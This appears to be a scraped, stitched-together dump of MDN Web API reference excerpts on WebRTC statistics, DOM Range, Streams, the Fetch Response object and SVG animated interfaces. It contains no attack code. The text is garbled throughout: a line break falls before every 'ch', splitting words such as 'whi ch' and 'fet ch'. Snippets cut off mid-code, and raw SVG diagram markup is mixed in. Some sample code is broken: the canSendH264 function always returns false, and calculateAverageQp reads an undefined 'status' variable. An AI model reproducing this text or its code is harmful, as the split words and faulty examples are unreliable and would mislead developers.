syntax let rtpcapabilities = rtcrtpsender.getcapabilities(kind); parameters kind a domstring indicating the type of media for whi
ch you wish to get the sender's capability to receive.
...nothing is loaded, fet
ched, or otherwise prepared.
...for that reason, in privacy-sensitive contexts, the browser may
choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations.
... function cansendh264() { let capabilities = rtcrtpsender.getcapabilities("video"); capabilities.codecs.forea
ch((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getcapabilities()' in that specification.
RTCRtpStreamStats.pliCount - Web APIs
a pli message is used by video decoders (running on the receiving end of the stream) to notify the encoder (the sender) that an undefined amount of coded video data, whi
ch may span frame boundaries, has been lost.
... this may trigger the sender to send a full frame in order to allow the receiver to re-syn
chronize, since lost data may be an irrecoverable situation for decoding media.
... however, the primary purpose of this message is to allow the sender to consider te
chniques to mitigate network performance issues.
... this is often a
chieved by methods su
ch as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream.
RTCRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcrtpstreamstats.qpsum; value an unsigned 64-bit integer value whi
ch indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcrtpstreamstats object.
... it's important to keep in mind that the value of qp can
change periodically—even every frame—so it's difficult to know for certain how substantial the compression is.
...h.264 uses a qp whi
ch ranges from 0 to 51; in this case, it's an index used to derive a scaling matrix used during the quantization process.
... function calculateaverageqp(stats) { let framecount = 0; swit
ch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's...
RTCRtpStreamStats.ssrc - Web APIs
the rtcrtpstreamstats dictionary's ssrc property provides the syn
chronization source (ssrc), an integer whi
ch uniquely identifies the source of the rtp packets whose statistics are covered by the rtcstatsreport that includes this rtcrtpstreamstats dictionary.
... syntax var ssrc = rtcrtpstreamstats.ssrc; value the syn
chronization source (ssrc) is a 32-bit integer uniquely identifying the source of the rtp packets whose statistics are covered by the rtcstatsreport object of whi
ch this rtcrtpstreamstats object is a component.
... the manner in whi
ch these values are generated is not mandated by the specification, although it does make recommendations.
...while not part of the standard, exactly, it is a good me
chanism that may be used by some browsers; others may use other methods, su
ch as random number generators.
RTCSessionDescription.type - Web APIs
the property rtcsessiondescription.type is a read-only value of type rtcsdptype whi
ch describes the description's type.
... the allowed values are those of an enum of type rtcsdptype: "offer", the description is the initial proposal in an offer/answer ex
change.
... "answer", the description is the definitive
choice in an offer/answer ex
change.
... "pranswer", the description is a provisional answer and may be
changed when the definitive
choice will be given.
RTCStats.id - Web APIs
the id property of the rtcstats dictionary is a string whi
ch uniquely identifies the object for whi
ch this rtcstats object provides statistics.
... using the id, you can correlate two or more rtcstats-based objects in order to monitor statistics over time for a given webrtc object, su
ch as an rtp stream, an rtcpeerconnection, or an rtcdata
channel.
... syntax var id = rtcstats.id; value a domstring whi
ch uniquely identifies the object for whi
ch this rtcstats-based object provides statistics.
... the format of the id string is not defined by the specification, so you cannot reliably make any assumptions about the contents of the string, or assume that the format of the string will remain un
changed for a given object type.
RTCStats.timestamp - Web APIs
the timestamp property of the rtcstats dictionary is a domhighrestimestamp object specifying the time at whi
ch the data in the object was sampled.
... for reports related to rtcp packets, for instance, this indicates the time at whi
ch the data covered by the statistics was received at the corresponding endpoint.
... the time is given in milliseconds elapsed since the unix epo
ch (the first moment of january 1, 1970, utc).
... syntax var timestamp = rtcstats.timestamp; value a domhighrestimestamp value indicating the time at whi
ch the activity described by the statistics in this object was recorded, in milliseconds elapsed since the beginning of january 1, 1970, utc.
Range.endOffset - Web APIs
if the endcontainer is a node of type text, comment, or cdatasection, then the offset is the number of
characters from the start of the endcontainer to the boundary point of the range.
... for other node types, the endoffset is the number of
child nodes between the start of the endcontainer and the boundary point of the range.
...to
change the endoffset of a range, use one of the range.setend methods.
... living standard no
change.
Range.extractContents() - Web APIs
html id attributes are also cloned, whi
ch can lead to an invalid document if a partially-selected node is extracted and appended to the document.
... syntax documentfragment = range.extractcontents(); example basic example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.extractcontents(); document.body.append
child(documentfragment); moving items between containers this example lets you move items between two containers.
...ton = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.commonancestorcontainer === list1 || range.commonancestorcontainer.parentnode === list1) { const documentfragment = range.extractcontents(); list2.append
child(documentfragment); } else if (range.commonancestorcontainer === list2 || range.commonancestorcontainer.parentnode === list2) { const documentfragment = range.extractcontents(); list1.append
child(documentfragment); } } }); result specifications specification status comment domthe definition of 'range.extractcontents()' in that specifica...
... living standard no
change.
Range.startOffset - Web APIs
if the startcontainer is a node of type text, comment, or cdatasection, then the offset is the number of
characters from the start of the startcontainer to the boundary point of the range.
... for other node types, the startoffset is the number of
child nodes between the start of the startcontainer and the boundary point of the range.
... to
change the startoffset of a range, use the range.setstart method.
... living standard no
change.
Range - Web APIs
range.endcontainer read only returns the node within whi
ch the range ends.
... range.startcontainer read only returns the node within whi
ch the range starts.
... range.deta
ch() releases the range from use to improve performance.
... range.getboundingclientrect() returns a domrect object whi
ch bounds the entire contents of the range; this would be the union of all the rectangles returned by range.getclientrects().
ReadableStream.pipeThrough() - Web APIs
the pipethrough() method of the readablestream interface provides a
chainable way of piping the current stream through a transform stream or any other writable/readable pair.
...the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in whi
ch case it will be rejected with that error.
... examples in the following example (see unpack
chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fet
ched and its body retrieved as a readablestream.
... // fet
ch the original image fet
ch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fet
ch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png
chunk stream', rs)) specifications specification status comment streamsthe definition of 'pipethrough()' in that specification.
ReadableStreamBYOBReader.read() - Web APIs
the read() method of the readablestreambyobreader interface returns a promise providing access to the next
chunk in the byte stream's internal queue.
... return value a promise, whi
ch fulfills/rejects with a result depending on the state of the stream.
... the different possibilities are as follows: if a
chunk is available, the promise will be fulfilled with an object of the form { value: the
chunk, done: false }.
... exceptions typeerror the source object is not a readablestreambyobreader, the stream has no owner, the view is not an object or has become deta
ched, or the view's length is 0.
ReadableStreamDefaultController.close() - Web APIs
readers will still be able to read any previously-enqueued
chunks from the stream, but once those are read, the stream will become closed.
... if you want to completely get rid of the stream and discard any enqueued
chunks, you'd use readablestream.cancel() or readablestreamdefaultreader.cancel().
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, whi
ch reads the data back out of the stream.
... const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = random
chars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.append
child(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fet
chstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment stre...
ReadableStreamDefaultController.enqueue() - Web APIs
the enqueue() method of the readablestreamdefaultcontroller interface enqueues a given
chunk in the associated stream.
... syntax readablestreamdefaultcontroller.enqueue(
chunk); parameters
chunk the
chunk to enqueue.
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, whi
ch reads the data back out of the stream.
... const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = random
chars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.append
child(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fet
chstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment stre...
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
ea
ch chunk is read sequentially and output to the ui, until the stream has finished being read, at whi
ch point we return out of the recursive function and print the entire stream to another part of the ui.
... function fet
chstream() { const reader = stream.getreader(); let
charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data.
... if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fet
ch streams is a uint8array
charsreceived += value.length; const
chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' +
charsreceived + '
characters so far.
... current
chunk = ' +
chunk; list2.append
child(listitem); result +=
chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'readablestreamdefaultreader()' in that specification.
RenderingContext - Web APIs
renderingcontext is a webidl typedef whi
ch can refer to any one of the interfaces that represent a graphics rendering context within a <canvas> element: canvasrenderingcontext2d, webglrenderingcontext, or webgl2renderingcontext.
... by using the shorthand renderingcontext, methods and properties whi
ch can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." as su
ch, renderingcontext is an implementation detail, and isn't something web developers directly use.
... there is no renderingcontext interface, and there are no objects whi
ch implement type renderingcontext.
... the primary use of this type is the definition of the <canvas> element's htmlcanvaselement.getcontext() method, whi
ch returns a renderingcontext (meaning it returns any one of the rendering context types).
Report - Web APIs
properties report.body read only the body of the report, whi
ch is a reportbody object containing the detailed report information.
... the report details are displayed via the displayreports() fuction, whi
ch takes the observer callback's reports parameter as its parameter: function displayreports(reports) { const outputelem = document.queryselector('.output'); const list = document.createelement('ul'); outputelem.append
child(list); for(let i = 0; i < reports.length; i++) { let listitem = document.createelement('li'); let textnode = document.createtextnode('report ' + (i + 1) + ', ty...
...pe: ' + reports[i].type); listitem.append
child(textnode); let innerlist = document.createelement('ul'); listitem.append
child(innerlist); list.append
child(listitem); for (let key in reports[i].body) { let innerlistitem = document.createelement('li'); let keyvalue = reports[i].body[key]; innerlistitem.textcontent = key + ': ' + keyvalue; innerlist.append
child(innerlistitem); } } } the reports parameter contains an array of all the reports in the observer's report queue.
... we loop over ea
ch report using a basic for loop, then iterate over ea
ch entry of in the report's body using a for...in structure, displaying ea
ch key/value pair inside a list item.
Request.mode - Web APIs
the mode read-only property of the request interface contains the mode of the request (e.g., cors, no-cors, same-origin, or navigate.) this is used to determine if cross-origin requests lead to valid responses, and whi
ch properties of the response are readable.
... the associated mode, available values of whi
ch are: same-origin — if a request is made to another origin with this mode set, the result is simply an error.
... default mode requests can be initiated in a variety of ways, and the mode for a request depends on the particular means by whi
ch it was initiated.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fet
chthe definition of 'mode' in that specification.
ResizeObserver() - Web APIs
the resizeobserver constructor creates a new resizeobserver object, whi
ch can be used to report
changes to the content or border box of an element or the bounding box of an svgelement.
...the function is called with two parameters: entries an array of resizeobserverentry objects that can be used to access the new dimensions of the element after ea
ch change.
...this could be used for example to automatically unobserve the observer when a certain condition is rea
ched, but you can omit it if you don't need it.
... the callback will generally follow a pattern along the lines of: function(entries, observer) { for (let entry of entries) { // do something to ea
ch entry // and possibly something to the observer itself } } examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; }...
Response.clone() - Web APIs
example in our fet
ch response clone example (see fet
ch response clone live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fet
ch this request using fet
ch().
... when the fet
ch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object urls out of the blobs using url.createobjecturl, and display them in two separate <img> elements.
... var image1 = document.queryselector('.img1'); var image2 = document.queryselector('.img2'); var myrequest = new request('flowers.jpg'); fet
ch(myrequest).then(function(response) { var response2 = response.clone(); response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image1.src = objecturl; }); response2.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); image2.src = objecturl; }); }); specifications specification status comment fet
chthe definition of 'clone()' in that specification.
Response.headers - Web APIs
example in our fet
ch response example (see fet
ch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fet
ch this request using fet
ch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note that at the top of the fet
ch() block we log the response headers value to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fet
ch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fet
chthe definition of 'headers' in that specification.
Response.ok - Web APIs
example in our fet
ch response example (see fet
ch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fet
ch this request using fet
ch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note: at the top of the fet
ch() block we log the response ok value to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fet
ch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fet
chthe definition of 'ok' in that specification.
Response.status - Web APIs
example in our fet
ch response example (see fet
ch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fet
ch this request using fet
ch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note that at the top of the fet
ch() block we log the response status value to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fet
ch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fet
chthe definition of 'status' in that specification.
Response.statusText - Web APIs
example in our fet
ch response example (see fet
ch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fet
ch this request using fet
ch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note that at the top of the fet
ch() block we log the response statustext value to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fet
ch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fet
chthe definition of 'statustext' in that specification.
Response.url - Web APIs
example in our fet
ch response example (see fet
ch response live) we create a new request object using the request() constructor, passing it a jpg path.
... we then fet
ch this request using fet
ch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>.
... note that at the top of the fet
ch() block we log the response url to the console.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fet
ch(myrequest).then(function(response) { console.log(response.url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fet
chthe definition of 'url' in that specification.
SVGAnimateElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">s...
...points="291,89 281,84 281,94 291,89" stroke="#d4dde4" fill="none"/><line x1="281" y1="89" x2="251" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimateelement" target="_top"><rect x="81" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svganimateelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svganimationelement.
SVGAnimatedAngle - Web APIs
svg animated angle interface the svganimatedangle interface is used for attributes of basic type <angle> whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedangle
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support 10webview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support 3samsung internet android full support yeslegend full support full support no support no support ...
SVGAnimatedBoolean - Web APIs
svg animated boolean interface the svganimatedboolean interface is used for attributes of type boolean whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedboolean
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedEnumeration - Web APIs
svg animated enumeration interface the svganimatedenumeration interface is used for attributes whose value must be a constant from a particular enumeration and whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedenumeration
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedInteger - Web APIs
svg animated integer interface the svganimatedinteger interface is used for attributes of basic type <integer> whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedinteger
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedLength - Web APIs
svg animated length interface the svganimatedlength interface is used for attributes of basic type <length> whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlength
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedLengthList - Web APIs
svg animated length list interface the svganimatedlengthlist interface is used for attributes of type svglengthlist whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthlist
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedNumber - Web APIs
svg animated number interface the svganimatednumber interface is used for attributes of basic type <number> whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumber
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedNumberList - Web APIs
svg animated number list interface the svganimatednumber interface is used for attributes whi
ch take a list of numbers and whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberlist
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedPreserveAspectRatio - Web APIs
svg animated preserveaspectratio interface the svganimatedpreserveaspectratio interface is used for attributes of type svgpreserveaspectratio whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedpreserveaspectratio
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedRect - Web APIs
the svganimatedrect interface is used for attributes of basic svgrect whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedrect
chrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedTransformList - Web APIs
svg animated transform list interface the svganimatedtransformlist interface is used for attributes whi
ch take a list of numbers and whi
ch can be animated.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedtransformlist
chrome full support yesedge full support ≤18firefox full support 9ie ?
... opera full support yessafari full support yeswebview android no support no
chrome android full support yesfirefox android full support 9opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support ...
SVGAnimationElement: repeatEvent event - Web APIs
it will be fired ea
ch time the element repeats, after the first iteration.
... note: associated with the repeatevent event is an integer that indicates whi
ch repeat iteration is beginning; this can be found in the detail property of the event object.
...this is supported in firefox, but not in
chrome.
...> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.append
child(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.append
child(listitem); }) event handler property equivalent note that you can also create an event listener for the repeat event using the onr...
SVGDefsElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...e points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgdefselement" target="_top"><rect x="121" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgdefselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent, svggraphicselement.
SVGDocument - Web APIs
svg document interface when an "svg" element is embedded inline as a component of a document from another namespace, su
ch as when an "svg" element is embedded inline within an xhtml document, then an svgdocument object will not exist; instead, the root object in the document object hierar
chy will be a document object of a different type, su
ch as an htmldocument object.
... rootelement svgsvgelement the root "svg" in the document hierar
chy.
... browser compatibility desktop mobile
chrome edge firefox internet explorer opera safari android webview
chrome for android firefox for android opera for android safari on ios samsung internet svgdocument
chrome ?
...
chrome android ?
SVGElement - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
